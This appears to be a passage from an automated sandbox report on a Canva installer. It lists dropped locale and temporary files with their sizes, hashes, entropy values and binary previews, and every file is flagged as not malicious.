SHA-256:	54541C9ADEE8711C3D391B67B2081214166621212A670B0F2D633D1E2623A757
SHA-512:	967D4B19F8455B3D5633E6B9ADA3904B7974414990E705590FA2D2D0B2E721789165D4A2877C56287BCDEC27205C3D47D1F7CDFE912D4A27023E3AA087626ABF
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.&...t./...v.D...w.Q...y.W...z.f...\|.l...}.~.....................................................................................................p.................]...........(.....;...........p.................\...........-.....L...........+.....g.....r...........g.................#.............................9.........................................m...........3.....F...........j.................X...........N.....o...........:.....`.....v...........C.....l.....~...........Q.....x...................................]................. .................E.....T...........=.....p.................y.................V...........I.....a...........$.....?.....T...........S.......................y.................>.................H............ ....5 ....N ..... ....R!.....!.....!.....".....".....".....".....#....P$.....$.....$....N%.....%.....&..../&.....&....*'....d'....t'.....'....F(....a(.....(.....).....).....)

C:\Program Files (x86)\Canva\locales\is-PI85K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	554338
Entropy (8bit):	5.479799007655059
Encrypted:	false
SSDEEP:	12288:v/ym7W5Op5rB2I+EbME5G8coJHvbxi/fz4Cqc:Xym7Wop5T3ME5G8cii/fz44
MD5:	C2C99E4B36E16403DED88CFF651671C7
SHA1:	F3257F4B444CD2E33451A76BD55F81372F622681
SHA-256:	8095CE45373D8DE8DD243FEC034643060CBFF67A48FA81414E31A0B9327EEFC4
SHA-512:	D8C76B7C9C3B6A1CF5C72ABED0B53E2552EE28D1575CBE3B680904281F07EC797D37A4D60590490984C6C0DCB33D3C688869DEE9C51920D4B41862D1E5FD7DC2
Malicious:	false
Preview:	........K%..e.@...h.H...i.Y...j.c...k.r...l.}...n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}...................'...../.....7.....>.....E.....L.....M.....N.....P.....b.....p.................%................. .................'.....8...........D.......................z.......................y.......................l.................!.......................a.................-.................E.....[.........../.....f.....z...........t.................e...........6.....\.................".....:.................................................................6.....J.................D.....U...........;.....\|.................M.....{.................Q.......................m.................$.....y.......................^.....\|.................Y.................*.......................[.......................T.......................t.................&...........p.......................0 ..... ..... ..../!.....!.....!.....!....+"....\|".....".....".....#.....#.....#

C:\Program Files (x86)\Canva\locales\is-QC2K9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	451080
Entropy (8bit):	5.512024572152552
Encrypted:	false
SSDEEP:	6144:UVmES/piH64PrXGM0w3jMMP9eD3D9faYLbcNx54SbngP/eoQwB:Umz14XRlMMY3DzA54S+QwB
MD5:	8F164155D22029535CD60F47966A89AF
SHA1:	19733935EFE68F7FF3E2A84D28317E0391EB824B
SHA-256:	20BE1732675FEDF380010B09936ED65C71BB761D0A05732215EF0795B5ABA606
SHA-512:	4582715817BB9C99D875AA89B1EFBD0F70B63DCD37DBFC64E3078D1D4D7AD4AE8FAC5A703AFE1FC65B9AF2F5C0FE8D3E293E2F0530106A6974B38B4CEBCA9DB0
Malicious:	false
Preview:	.........%s.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.!...w.....y.4...z.C...\|.I...}.[.....c.....h.....p.....x.......................................................................I.......................^.......................S.......................V.......................1.....v.......................9.....`.....m.................$.....;.................#.....;.............................k.......................9.......................#.............................M.....h.....w.............................[.............................m.......................I.....v.......................9.....D.............................L.......................&.......................!.....`.............................?.....T.............................s.......................Z.............................Z.......................9.....q.................Z.......................m.......................c.......................#.....E.....U...................

C:\Program Files (x86)\Canva\locales\is-QOQPH.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	486837
Entropy (8bit):	5.373459958164849
Encrypted:	false
SSDEEP:	6144:Xedqj3oEK2twd/yG1wF6f+eVnjHF3mmi8IxZ5wZhrwkK5cTSzo7IEji4JHF:2qj4MWFytFyVnjHFWmNIb5wZhlF
MD5:	D736B044FA41A639E13A2BFF3972A182
SHA1:	9CD13B7D8E1B11F13DBB1FBF7EB8A6263F27ED07
SHA-256:	C8E30F0C11D78C7D603DF40BF6E9B2FE896EB36A8EEE27D9621A537545B2F609
SHA-512:	DD1CF38ED3B3C93395A1AF45EC81D6B665112280B89AA5F2108DDDC6F2290F3BCA0DCC696D8DAC4967B4D58C248B2C425E6CF36CE5A93CA1F80D17B00EA2D4B5
Malicious:	false
Preview:	........K%..e.@...h.H...i.Y...j.e...k.t...l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.............!.....).....1.....9.....@.....G.....N.....O.....P.....R.....`.....m.....}.................u.................*.....v.......................v.................7.......................:.............................\.....}.................S.......................^.......................J.....t.................).....V.....c...........).....d.....w...........R......................./.....J.....[.............................m.......................F.......................-.....~.......................V......................./.....\.....h.................H.....U.................?.....Q.............................T.......................,.....r.......................V.......................-.....G.....U.................5.....D.................<.....U...........M.................#.......................6.............................M.....l.....\|...........;.....r.

C:\Program Files (x86)\Canva\locales\is-T2RP2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	524797
Entropy (8bit):	5.339786582850613
Encrypted:	false
SSDEEP:	12288:Za8pzL2fuucrB5G7CCRdCAUQbQW4243EaeFNUq89F1ggt45rUAcw06yJMkJPe/Bb:HkJ5IY
MD5:	AD41974EFF2483E260B558AC010879DC
SHA1:	BE8B566A4CE4A529F8EB0352ABC7A2023A9B5355
SHA-256:	ECC84D9A40448772697C14F27B1297FCDCE12DF30D008A7D4149A6AA587D85A8
SHA-512:	2B731DAAD19CA5E43D29106C1EC06B8BA6B54EF44571FD51C2CF65DA4C9BA1941D78808D03F2056A839E2E76844E979B775AFC7B470640101328B572D10E0C4E
Malicious:	false
Preview:	........X%..e.Z...h.b...i.m...j.y...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.(.....0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....i.....{.......................;................. .......................@...........3.......................L.......................=.....h.....w...........".....Q....._...........,.....`...................................[.......................i.......................j.............................&.......................F.....n.......................:.....C.........................................=.....K.................0.....B.................C.....N.................%.....2.................%.......................X.....q...........$.....P.....l................._.................@.....\|.................h.................>.............................f.................'.....\|.................f...........;.....O...........1.....t...................................L ..... ..... ..... ....n!.....!....!"

C:\Program Files (x86)\Canva\locales\is-TPU4F.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	504052
Entropy (8bit):	5.421469618205756
Encrypted:	false
SSDEEP:	12288:/aVXt4D7SmA19ub5KuOar5yZ7kfCHEpyWaM7OYM:/64D7Smll5yFHZl
MD5:	83DEC7D70140F96E780BCA0E97EB3DFA
SHA1:	E0C9891241D88716419F476BB193ADA5D8606EB1
SHA-256:	AE902AB57A1325D4F0A0A1C69790F28F5E49B5671A99C4C315367B4425D1DE97
SHA-512:	7B1851C2476290DBDE7DCBEFBE75F89041EC185DC4354DB55FFE2DA588E17363403921EEAF9FD26EBA8EB4DE3BF99876339DE1DD4219EC6F5E2EA3679B90BE71
Malicious:	false
Preview:	.........%f.e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.&...t./...v.D...w.Q...y.W...z.f...\|.l...}.~...........................................................................................................h.....{...........A.....t.................d.........................................'.....}.......................N.....n.....~...........*.....P.....j...........M.......................[.......................].......................^.................&.......................O.......................).....u.......................I.....r.....~...........!.....K.....U.................4.....A.............................n.......................R.......................G.......................d.......................1.......................'.......................%......................./.....o.......................L.....v.................D.....}...................................k.......................{.......................V.............................u.......

C:\Program Files (x86)\Canva\locales\is-U5F8P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	594260
Entropy (8bit):	5.634301538864236
Encrypted:	false
SSDEEP:	12288:55mDjVARjMAUbgXaG1DT/G5qzIx1JgNR86SNM:+9IMQqOG5LxngNRX
MD5:	1051DEEA3EB2BC73A1CBEF894635541D
SHA1:	A122975C2C3366FC4D87AB4C6C3C6D65FF6AA4A9
SHA-256:	95253DEAE9554317C60490A982A4D310C87238096E3BAD0329E8BF4C944CBAED
SHA-512:	2DBB1DA602FE9966C03DEBB03C1B793574968D68C5386FBBB7E56E97D6626DBE4991ECA6B9C470BF778A327E3DB29530977D25BA40E5704501696DC8AF8D0302
Malicious:	false
Preview:	........Z%..e.^...h.f...i.w...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|. ...}.2.....:.....?.....G.....O.....W.....^.....e.....l.....m.....n.....p.....~.......................F...........4.....O...........e................._...........9.....S...........J.........................................S.................&........... .....T.....y.............................d.................%.................M.....]...........u.................f...........D.....b...........D.....k.................i.........................................W.................(.................V.....e...........c................./.......................e.................!...........T.................8...................................C.....k...........].................=.................-............ ....& ....9 ..... ....`!.....!.....!....S".....".....#....>#.....#.....$.....$.....$....v%.....%....8&....X&.....&.....'.....'.....'....:(.....(.....(.....(....Z).....)....**

C:\Program Files (x86)\Canva\locales\is-UPDRN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	590492
Entropy (8bit):	5.641447107584658
Encrypted:	false
SSDEEP:	6144:OUyE1INoBuT80LvP9/Hs8DfcAujkatvV5RvBFZfpdVYGkb7ZNIeHK9njDi54Rryy:OUJSNI4/sA0V5RvBnuzzKY5y0n4
MD5:	AB64CF95B5231922340ECEC09182DCB2
SHA1:	9EDDEEF898E4A4C1EC6DB989587A75FC3E8A1E75
SHA-256:	E806294A2D609A514DFA416A07625FB2F173018BB2E278323F752EFC459C39F8
SHA-512:	BEC74EF13DB548FB9B225C6AFFF2841D5BD987D4EA129ADEDF6E5B852D004F89CDCF5FD4A6CCB1E4E5448EF38D488F258E3D5CC49C24775A34647CC0BB7102E5
Malicious:	false
Preview:	........1%5.e.....h.....i.%...j./...k.>...l.I...n.Q...o.V...p.c...q.i...r.u...s.....t.....v.....w.....y.....z.....\|.....}........................................................................./.....E.....Z.....n.................=.....[...........R...............................................&.....\.....u...........O.....v.................].................C.................&...........M.................;.......................o...........+.....;...........>.................3.................>...........2.....^.....{...........S.....z.................j.................9.................,...........6.....y...................................Q.................4...........:.....\|...................................q.................-.................$.....M.................S.....k...........g.................S.......................I ..... ..... ..... ....v!.....!....+"....L"....."....z#.....#.....#.....$....#%....p%.....%....;&.....&.....'.....'.....'.....'.....(....9(.....(....*)....u)

C:\Program Files (x86)\Canva\locales\is-VBLIQ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	536254
Entropy (8bit):	5.290910182310605
Encrypted:	false
SSDEEP:	6144:b+EGmPIUsd4x92/ii/jNLiISIqRRRsO1StORT9TjexKqcQxLcaPpzHi9fLwlSfpA:BPIxmjZxa8uN6sjoy5IkoW
MD5:	52109B028A189C75C3889300B7EC728B
SHA1:	AABD5CBBFFF52B6D89158B0D78CFD6FABDE706AF
SHA-256:	89D7EC12AA52D5F2298D3FDDFA24439BD89031C4341F1D2B9900A2E46664F7D8
SHA-512:	8766CC41EB7510F200E0F8E27A2678B3F50378AA6F1764B11DA79D120248B6ECCCFAE7A4863AE437AD66133BA0C1BB25F5242AC9DBCE87916382F18BBA1E2256
Malicious:	false
Preview:	........U%..e.T...h.\...i.m...j.y...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.(.....0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....f.....y.......................I...........7.....S.................Z.....k...........c.................s...........'.....P.............................o.......................r.................6...................................{.................9.......................V...................................g.................3....._.....}.................A.....O.............................\|...............................................d.......................8.............................b.........................................F.............................J.....`.....v...........$.....P.....e...........A.................#.....f.......................<.....g.....z..........._.................g...........W.....n...........h................._............ ....- ....z ..... ..... ..... ....\!.....!.....!

C:\Program Files (x86)\Canva\locales\is-VST95.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	513715
Entropy (8bit):	5.450169156228439
Encrypted:	false
SSDEEP:	6144:gRsuNwWzVPsP5sbse814e8jKwlRDdJwL2obEZZaFRQ5Mk2rkvb3d4nTGqFwJ:g6qskjdTv5M/rvTpu
MD5:	D5BF4ABA2D82744981EBF92CCAADF9C0
SHA1:	1A1C4EA1D4ECF5346EE2434B8EB79D0BF7B41D46
SHA-256:	0C75ACB008DD5C918D8A1A73C22FA7C503961481BF1708F6BDA0DA58693C3C08
SHA-512:	5BCCC18687FCEFAD5E78C5C8072ACEA36CE7687C5B848A1E0367C82A38F32F46402FF01EDD4FB1379EE77083EF0E1964E24BAD87B18CE78077B28F0C1BD4BD08
Malicious:	false
Preview:	........Y%..e.\...h.d...i.u...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.0.....8.....=.....E.....M.....U.....\.....c.....j.....k.....l.....n.....\|.............................................._.................&...........2.......................k.......................^.......................F.....p.....~...........G.....v.................\|.................E.......................l.................%.................~...........+.................).............................f.......................?..............................................0.......................).............................h.......................Q.....~...................................B.......................&.....z.......................W.....t.................l.................<.......................<.......................T.......................P.............................'.....].................X.......................2 ....N ....[ ..... .....!....T!

C:\Program Files (x86)\Canva\locales\it.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	536254
Entropy (8bit):	5.290910182310605
Encrypted:	false
SSDEEP:	6144:b+EGmPIUsd4x92/ii/jNLiISIqRRRsO1StORT9TjexKqcQxLcaPpzHi9fLwlSfpA:BPIxmjZxa8uN6sjoy5IkoW
MD5:	52109B028A189C75C3889300B7EC728B
SHA1:	AABD5CBBFFF52B6D89158B0D78CFD6FABDE706AF
SHA-256:	89D7EC12AA52D5F2298D3FDDFA24439BD89031C4341F1D2B9900A2E46664F7D8
SHA-512:	8766CC41EB7510F200E0F8E27A2678B3F50378AA6F1764B11DA79D120248B6ECCCFAE7A4863AE437AD66133BA0C1BB25F5242AC9DBCE87916382F18BBA1E2256
Malicious:	false
Preview:	........U%..e.T...h.\...i.m...j.y...k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|.....}.(.....0.....5.....=.....E.....M.....T.....[.....b.....c.....d.....f.....y.......................I...........7.....S.................Z.....k...........c.................s...........'.....P.............................o.......................r.................6...................................{.................9.......................V...................................g.................3....._.....}.................A.....O.............................\|...............................................d.......................8.............................b.........................................F.............................J.....`.....v...........$.....P.....e...........A.................#.....f.......................<.....g.....z..........._.................g...........W.....n...........h................._............ ....- ....z ..... ..... ..... ....\!.....!.....!

C:\Program Files (x86)\Canva\locales\ja.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	655212
Entropy (8bit):	5.686448471913808
Encrypted:	false
SSDEEP:	6144:tPm/rHeA9VXH3Wv0WSGRpZXQ2y+BbX5znS1V7:o6UJHmccpZXQ2y+N5znC
MD5:	5C8C92313284117F3C549DC53273AE8B
SHA1:	697F746CFFBBCA1D43BBF29AC1619318BD3DC96D
SHA-256:	4C34AAFD5794886A4D091C4F4A97642BB9F199B90203D904E14E503FC3EDB845
SHA-512:	1C1232B6CDE8CBE2D827BEF0C0495165B4CC27494249BCB44B73D03404F3070AAF2CBD72F8425D24D197F14757553157858951280E524608AADA053EAE028DDC
Malicious:	false
Preview:	.........$..e.....h.....i.....j.....k.....l.....m.....o./...p.<...q.B...v.N...w.[...y.a...z.p...\|.v...}.................................................................................................@.....a.............................v................B...........m.......................L.................a.........................................&...........".....Y.....~.............................e...................................$.....3.................K.....Z....................... ......................."...........#.....d.........................................4.................0...................................P.....b...........M................. .............................:.................:...................................!.....B.............................6.................4.................. ..... ..... ...."!....b!....}!.....!....R"....."....."....J#.....#....R$....g$.....$.....%.....%.....%.....&.....'....G'....h'.....'....V(.....(.....(....;).....)..........*

C:\Program Files (x86)\Canva\locales\kn.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1316964
Entropy (8bit):	4.222438704648711
Encrypted:	false
SSDEEP:	12288:g0bF+kiawFCJiDQ6f03QIBRFUc407L5PtzUk4pt+h9bu:g0bPinmJL5ZUV
MD5:	17D2349C9191C0E9D70B03FF3E240B3C
SHA1:	7B425B76CD479273CA092606DBE326A1301FA472
SHA-256:	EB1BD5B8F89B9E9B568912455AD3B8A791F3370A34411E6FC982A661CC1B05AD
SHA-512:	7EC6AD8B7CFC80782B8CA1702BE66B56FFB8AADB307CAFC5F6C4D365FD3FD273FFFF737E496A36F9162EFDCA5189B06A137753BA3A70418F490DEFA9884F2B96
Malicious:	false
Preview:	........x%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.4...w.A...y.G...z.V...\|.\...}.n.....v.....{.......................................................................]...........(.....\.....]...................................t...........h.............................e.......................B...../...........y......................./.............................7.....=...................................a.............................. .....!.....".....#.....#.....$....0%....{%.....%....l&.....&....Q'....d'.....(.....(.....(.....).....).........5+....o+....C,.....,....x-.....-....O....../....r/...../....v0.....1.....1.....1.....2....T3.....3.....3.... 5.....6.....6.....7.....7.....8.....9....]9.....9.....:.....:.....:.....;...._<.....<.....=....F>.....?.....?....#@.....A.....A.....B....\B.....C....XD.....D....7E.....F....HG.....H....cH.....I....JK....HL....}L.....M.....N.....O....P....bQ....GR.....R....:S.....T.....T.....U....VU.....V....rW.....X

C:\Program Files (x86)\Canva\locales\ko.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	553673
Entropy (8bit):	6.059297407958035
Encrypted:	false
SSDEEP:	12288:OokI3UKOV2Ngi7w2IyxxMSVG0GTZn8t8OQ4E3hkaYrLCqD5dEp7RqGT8U1wXq7hW:sFel5i8QzCr
MD5:	714958C45E5EEBD32B6799FFD76159C0
SHA1:	B38CA8FFBEE6FDAAA00DE9C77074F4F6BBFEFB8D
SHA-256:	87F8003E7FE90A487C1007A626D30B8A77FEB54E627D3FE365DDB6A66A7E4AC4
SHA-512:	E60E77022902BF13E747354BD1AE5E9C3F4E8E6642D52C0EABDBAFF7B829ADD3251851A02B65F941985D31C7D5EA02347023F33269336B8B476E2314924022BB
Malicious:	false
Preview:	........w$..e.....h.....i.....j.....k.....l.....m.....o.....p.....q.....r.....s.....t.....y.'...z.6...\|.<...}.N.....V.....[.....c.....n.....v.................................................................a.................9.................S.....f...........J.......................t.................+.......................0.......................?.......................P.......................i.......................].......................\...................................U.....l.................B.....Y.................$.....4.........................................1.....M.................E.....U.................P.....c.................O....._.................N.....^...........S.......................^.......................Y.......................d.................).......................N.............................l.......................`................./.......................q.................!.......................+.............................\|.........................

C:\Program Files (x86)\Canva\locales\lt.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	594260
Entropy (8bit):	5.634301538864236
Encrypted:	false
SSDEEP:	12288:55mDjVARjMAUbgXaG1DT/G5qzIx1JgNR86SNM:+9IMQqOG5LxngNRX
MD5:	1051DEEA3EB2BC73A1CBEF894635541D
SHA1:	A122975C2C3366FC4D87AB4C6C3C6D65FF6AA4A9
SHA-256:	95253DEAE9554317C60490A982A4D310C87238096E3BAD0329E8BF4C944CBAED
SHA-512:	2DBB1DA602FE9966C03DEBB03C1B793574968D68C5386FBBB7E56E97D6626DBE4991ECA6B9C470BF778A327E3DB29530977D25BA40E5704501696DC8AF8D0302
Malicious:	false
Preview:	........Z%..e.^...h.f...i.w...j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.....\|. ...}.2.....:.....?.....G.....O.....W.....^.....e.....l.....m.....n.....p.....~.......................F...........4.....O...........e................._...........9.....S...........J.........................................S.................&........... .....T.....y.............................d.................%.................M.....]...........u.................f...........D.....b...........D.....k.................i.........................................W.................(.................V.....e...........c................./.......................e.................!...........T.................8...................................C.....k...........].................=.................-............ ....& ....9 ..... ....`!.....!.....!....S".....".....#....>#.....#.....$.....$.....$....v%.....%....8&....X&.....&.....'.....'.....'....:(.....(.....(.....(....Z).....)....**

C:\Program Files (x86)\Canva\locales\lv.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	593573
Entropy (8bit):	5.6301516471633715
Encrypted:	false
SSDEEP:	6144:fZBZxz1/4i+sRe28W/raTmNstVFph6T97vcGj/kbO15UyYTbEwTe757esFOHAYX0:hNylsRpWXQT9PrV15cEwTY5tONA19
MD5:	0308AEC65AD35B2282571098DDDBA5AE
SHA1:	5DD9A983BE7C29405575C658E73633F678FE4469
SHA-256:	54541C9ADEE8711C3D391B67B2081214166621212A670B0F2D633D1E2623A757
SHA-512:	967D4B19F8455B3D5633E6B9ADA3904B7974414990E705590FA2D2D0B2E721789165D4A2877C56287BCDEC27205C3D47D1F7CDFE912D4A27023E3AA087626ABF
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.&...t./...v.D...w.Q...y.W...z.f...\|.l...}.~.....................................................................................................p.................]...........(.....;...........p.................\...........-.....L...........+.....g.....r...........g.................#.............................9.........................................m...........3.....F...........j.................X...........N.....o...........:.....`.....v...........C.....l.....~...........Q.....x...................................]................. .................E.....T...........=.....p.................y.................V...........I.....a...........$.....?.....T...........S.......................y.................>.................H............ ....5 ....N ..... ....R!.....!.....!.....".....".....".....".....#....P$.....$.....$....N%.....%.....&..../&.....&....*'....d'....t'.....'....F(....a(.....(.....).....).....)

C:\Program Files (x86)\Canva\locales\ml.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1369647
Entropy (8bit):	4.256761759711836
Encrypted:	false
SSDEEP:	12288:oQyj0aIA2cMmsbbAU4LJxFq/ixn9mMl6UQ6KfUBp/OZCBEmeyo3ewhp5A47uhs4s:oQygaIiMGKfUBp+yo3eo5A47ks4+3X
MD5:	83069898AFA7CB0A288CF8D17505536F
SHA1:	2EC0F1F3CCDE4F88BBDF37EB1BF8FEDA82B12AB1
SHA-256:	957B57BAC9D8A927BE5CFBB74D23DCF69CF2678ECD4FCF2158A391F7A02FEA87
SHA-512:	E6F549C732F0BD0938B140978C49B2AA097876970ADFD7B87CA593ED54C3456C041FAC28883CFF7DA61C7EE3952A6C7EF2C4FAEDBFE6A23522FF6FFB083C24BB
Malicious:	false
Preview:	........t%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.,...w.9...y.?...z.N...\|.T...}.f.....n.....s.....{...........................................................$.....d.................Z.....C.......................W...........%.....r.....a.......................}.................n...........................................................I.................m.......................l.......................5.....y.................. ..... ....^".....#.....$.....$.....%....j&.....&.....&.....'....\|(.....(.....).....)..............*+.....,.....,....V-.....-....n....../...../...../.....0....n1.....1.....2.....3.....3....W4.....4....c5....+6.....6.....6.....7.....9.....9.....:.....:.....;....!<....Y<.....=.....=.....>....T>....0?.....?.....@.....@.....B.....B.....C.....D.....D.....E.....F....ZF....\|G....sH.....I....TI.....J....UK.....L....SL.....M.....N....yO.....O.....P.....Q.....R.....R....-T....(U.....U.....V.....W.....W....eX.....X.....Y.....Z.....[

C:\Program Files (x86)\Canva\locales\mr.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	1125467
Entropy (8bit):	4.28845834623339
Encrypted:	false
SSDEEP:	3072:JASH222GPf+r97QyNiMJ0voJZVLF2wnVPbtwpFFyGRU3RxYR3lDdjE9xOUq/1A3Q:rYo+rdQyh0oaSpgKZmbzAyCLj5cpAK9T
MD5:	E45351AD81BE0444C2731E0FE2457BFD
SHA1:	23CAACD7F2354CB3C1A72CC89799DAAE3089EDE3
SHA-256:	BF42C87554153B83E53ED8B839A74A50E893ABDA190D7DDD73521CC6D121DFA7
SHA-512:	B93E70B09EB536A2AB58A064B05AA13D6B0EED08EE1681AB9C59374D119A8BF3CCC2793FE005D0C51734AFE25794C9BBD759EF7085A4B9FA6C3DD5E29D0F39B3
Malicious:	false
Preview:	........%<.e.....h.....i. ...j.,...k.;...l.F...n.N...o.S...p.`...q.f...r.r...s.....t.....v.....w.....y.....z.....\|.....}.........................................................................>.....`.................#.....[...........U.................H.............................8.....>.....;...................................$.................$.....D.....N.....,.................f...........m.......................~.......................a...................................P .....!....]".....".....#....g$.....$.....%.....%.....&.....&.....&.....'....H(.....(.....(.....)....~.....*....&+.....,.....,....M-....y-....@....../....a/...../....D0.....1....]1....}1....P2.....3....w3.....3.....4.....6.....6.....7.....7.....8.....8.....8.....9....4:....j:.....:....X;.....<.....<.....<.....=.....>.....?.....?.....@.....A.....A....CB....sC....lD.....D....>E.....F....MG.....H....3H.....I.....J.....K.....K....KM....UN.....N....cO....lP....JQ.....Q.....Q.....R.....S.....S.....T....3U....'V.....V

C:\Program Files (x86)\Canva\locales\ms.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	510468
Entropy (8bit):	5.247079358159538
Encrypted:	false
SSDEEP:	6144:v8fC43K+W84G7nWiBx7+2YRldjiMIUcGm95bbHxOM9LLEWVHc:0V3KE4CnPx7AldPc9530Me
MD5:	EE31ADEDC69D7926395E4740E724245D
SHA1:	4403D976C2C559747E15B219E76342ED3B41E5CE
SHA-256:	280AE72F9FB328D6B9E0BAA5C27157E7E5BF0EBF699EBEAC597DA0ED4F670776
SHA-512:	69426971040E9C8C5F9645A9E8ECE83E166575C23D9B1C5DB3F5A22488E5F7988127799FFF4CBC7445D8407E5F0761A666713C433030ACCCA4C991DD323F3181
Malicious:	false
Preview:	.........%..e.....h.....i.....j.....k.....l.....n.....o.....p.....q.....r.....s.%...t.....v.C...w.P...y.V...z.e...\|.k...}.}...........................................................................................................s.................N.......................p.................7.......................Q.......................G.......................I.......................o...........(.....@.............................m.......................[.......................x...........E.....W.............................a.......................3...............................................&.....................................................m.......................`.........................................0.............................b.......................?.....h.....y...........(.....]....................... .....,.......................-.................;.....T...........K.......................\|.................5.............................Y.....{.................9.....f.

C:\Program Files (x86)\Canva\locales\nb.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	495339
Entropy (8bit):	5.423906423434989
Encrypted:	false
SSDEEP:	6144:GsKfvlCYYJ+8hz2bdXw5Op7fW9SighmrlDhP5RV5iM43CuMhVCD9vt:KVCj0bxw5Op7fW9S8lNxRV5iM43JF9vt
MD5:	03F4AB4F1D042E41B37438AD38DDC794
SHA1:	D465F7B3B05AC289F7C96FB9CF6603C30AF81466
SHA-256:	1A35A4E5348CA851ADEC4EA1C666D56750D39174A35D74AB87CD061ABE063BF3
SHA-512:	D0007B98BA9D9F2BC102A516CDE49B3982DB4698A1BD31E22104F5F634072943C98C7CD53E8CB02E320FD3A1455F8AE42DD99679A527C64723BD3BBC37743C23
Malicious:	false
Preview:	........^%..e.f...h.n...i.....j.....k.....l.....n.....o.....p.....q.....r.....s.....t.....v.....w.....y.....z.(...\|.....}.@.....H.....M.....U.....].....e.....l.....s.....z.....{.....\|.....~.............................Z...........M.....b...........+.....d.....w.............................W.......................X.......................F.......................G.......................s.................;...........H.................".......................^...........#.....=...........].......................h.......................=.....b.....r........... .....E.....U.................T.....h...........(.....V.....f.................`.....p...........#.....L.....\.................H.....V...........@.......................N.....t.................2.....Q.....j.................9.....K...........8.....w.................b.......................n.................$.....u.................2...................................E.....n...........6 ....b ....u ..... .....!.....!....<!.....!....."....5"

C:\Program Files (x86)\Canva\locales\nl.pak (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-K07P7.tmp\9VbeqQbgU4.tmp
File Type:	data
Category:	dropped
Size (bytes):	511257
Entropy (8bit):	5.365372926149592
Encrypted:	false
SSDEEP:	12288:syWoBilbWusvbgQ5Max5btohx4Gp7KYjOTy:syWIilbWusB5Max5behx4Gp7KYC2
MD5:	834219D952A58BDB01B40CCE5269D449
SHA1:	C325FDD7E21E993B745233086C9DF4376901E2B4
SHA-256:	9B46EEC8A0B0B568DDC35387CA02C2116BAA7520EFB04D92325FEC17D5091353
SHA-512:	9C28177D8530B24FEDCCDD7B4562A87CDF08567410D82FFC3E5A874474695A18EB533E7D55E4A901B77C873A22BEFF570B5C5CD79B47947B5BF3AF2C38B9D486
Malicious:	false
